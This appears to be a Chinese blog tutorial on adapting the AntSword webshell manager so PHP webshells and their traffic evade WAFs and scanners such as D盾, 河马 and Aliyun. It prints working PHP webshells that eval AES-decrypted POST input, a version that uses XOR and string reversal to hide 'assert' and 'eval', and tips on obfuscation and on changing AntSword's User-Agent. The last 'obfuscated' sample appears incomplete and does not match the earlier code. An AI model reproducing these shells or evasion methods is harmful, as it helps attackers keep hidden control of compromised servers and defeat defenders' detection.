php_webshell免杀--从0改造你的AntSword

本文仅用于技术研究学习,请遵守相关法律,禁止使用本文所提及的相关技术开展非法攻击行为,由于传播、利用本文所提供的信息而造成任何不良后果及损失,与本账号及作者无关。

本文来源无问社区,更多实战内容,渗透思路尽在无问社区http://www.wwlib.cn/index.php/artread/artid/10530.html

0x00 前言:

为什么会有改造蚁剑的想法,之前看到有做冰蝎的流量加密,来看到绕过waf,改造⼀些弱特征,通过流量转换,跳过密钥交互。

但是,冰蝎需要反编译去改造源码,再进⾏修复bug,也⽐较复杂。⽽AntSword相对于冰蝎来说,不限制webshell,即⼀句话也可以进⾏连接,还可以⾃定义编码器和解码器,可以很容易让流量做到混淆。

0x01 蚁剑介绍及其改编

关于蚁剑的介绍,这⾥就不多说了,⼀个连接webshell的管理器,使⽤前端nodejs进⾏编码。AntSword给我最⼤的好处是可以连接⼀句话⽊⻢,⽽且可以⾃定义编码器和解码器。这让我们就有了很多种webshell的变换。

但是,蚁剑默认的编码器和菜⼑都是⼀样的,这⾥⽤burpsuite来进⾏抓包看下流量。

蚁剑默认流量

返回来的是默认蚁剑的默认流量,所以的话,这⾥就基本上过不去态势感知和waf,所以很容易想到了编码器和解码器的选择,可以进⾏流量的改造来进⾏waf的绕过,先选⽤Y默认的base64进⾏测试。

默认的base64编码器

但是看到了使⽤base 64编码之后是有eval字样的,这样的话,肯定被态势感知和全流量⼀体机来进⾏特征的抓取,肯定会报威胁。

去github上找到蚁剑的编码器和对应的解码器

github地址:https://github.com/AntSwordProject/AwesomeEncoder/tree/master/php

这⾥下载默认的aes128的默认流量。

这⾥进⾏流量抓取。⾥⾯⾃带了php的webshell。

 <?php
 @session_start();
 $pwd='ant';
 $key=@substr(str_pad(session_id(),16,'a'),0,16);
 @eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPE
 NSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
 ?>
默认webshell讲解
这里打开session_start,然后截取Cookie中的PHPSESSION的16位。然后进行aes加密,密码为pwd

再D盾,河⻢和阿⾥云进⾏扫描:

河⻢没有查出来,可能是⽐较弱

阿⾥云直接报恶意

初步修改后的webshell:

这⾥先做代码修改,直接放出我修改之后的webshell代码。

 <?php
 @session_start();
 error_reporting(E_ALL^E_NOTICE^E_WARNING);
 function decode($key,$data){
 $data_new = '';
 for($i=0;$i<=strlen($data);$i++){
 $b=$data[$i]^$key;
 $data_new = $data_new.urldecode($b);
 }
 define('ass',$data_new[0].strrev($data_new)[2].strrev($data_new)[2].$data_
 new[11].strrev($data_new)[4].strrev($data_new)[0]);
 define('ev',$data_new[11].strrev($data_new)[8].$data_new[0].strrev($data_n
 ew)[6].'($result)');
 return $data_new;
 }
 function decrypto($key,$data){
 $data = base64_decode($data);
 $result = openssl_decrypt($data, 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPE
 NSSL_ZERO_PADDING);
 decode('\\','=:=om>n?o8h9i:j;k*d0e.l/m(');
 $ass=ass;
 $ass(ev);
 }
 class run{
    public $data;
    public function __construct(){
 $this->data = '#````````#'.$_POST[1]."#`#`#";
 $this->data = $this->data."123456";
 }
 }
 $key=@substr(str_pad(session_id(),16,'a'),0,16);
 $run = new run();
 decrypto($key,$run->data);
 ?>

这⾥能过去D盾的静态,但是⽆法绕过阿⾥云查杀。

所以这⾥还需要进⾏代码混淆。(这也是之后webshell免杀常常⽤到的)

混淆之后的webshell:

这⾥提供php在线加密的站 : https://enphp.djunny.com/

这⾥加密之后⽣成webshell。如下:

<?php
function decrypto($key, $data) {
    $data = base64_decode($data);
    $result = openssl_decrypt($data, "AES-128-ECB", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);
    return str_replace(array('%3D', '%25', '%3F', '%3E', '%23', '%2A', '%3B', '%27', '%2C'), array('=', '%', '?', '>', '#', '*', ';', "'", ','), $result);
}

function decode($key, $data) {
    $data_new = '';
    for ($i = 0; $i < strlen($data); $i++) {
        $b = $data[$i] ^ $key;
        $data_new .= urldecode($b);
    }
    return $data_new;
}

session_start();
$key = substr(str_pad(session_id(), 16, "a"), 0, 16);
$run = new run();
decrypto($key, $run->data);
?>

经过加密之后,可以发现,进⾏了goto的混淆,所以这⾥就达到了代码混淆。因为之前绕过了D盾和河⻢,这⾥直接去阿⾥云查杀。

已经成功绕过阿⾥云查杀。⽤burpsuite抓下流量特征。

从流量加密来分析的话,已经能绕过态势感知和全流量分析机。

蚁剑UA头的修改:

在burp的数据包中能清楚的看到蚁剑的特征

在目录/modules/request.js文件中修改UA头

/modules/update.js文件修改

0x02 总结

关于免杀来说,通常是进⾏代码加密混淆,特征码替换或者分割传输等情况。

相关推荐
Estar.Lee1 小时前
时间操作[计算时间差]免费API接口教程
android·网络·后端·网络协议·tcp/ip
找藉口是失败者的习惯2 小时前
从传统到未来:Android XML布局 与 Jetpack Compose的全面对比
android·xml
Jinkey3 小时前
FlutterBasic - GetBuilder、Obx、GetX<Controller>、GetxController 有啥区别
android·flutter·ios
大白要努力!4 小时前
Android opencv使用Core.hconcat 进行图像拼接
android·opencv
天空中的野鸟5 小时前
Android音频采集
android·音视频
小白也想学C6 小时前
Android 功耗分析(底层篇)
android·功耗
曙曙学编程7 小时前
初级数据结构——树
android·java·数据结构
闲暇部落9 小时前
‌Kotlin中的?.和!!主要区别
android·开发语言·kotlin
诸神黄昏EX11 小时前
Android 分区相关介绍
android
大白要努力!12 小时前
android 使用SQLiteOpenHelper 如何优化数据库的性能
android·数据库·oracle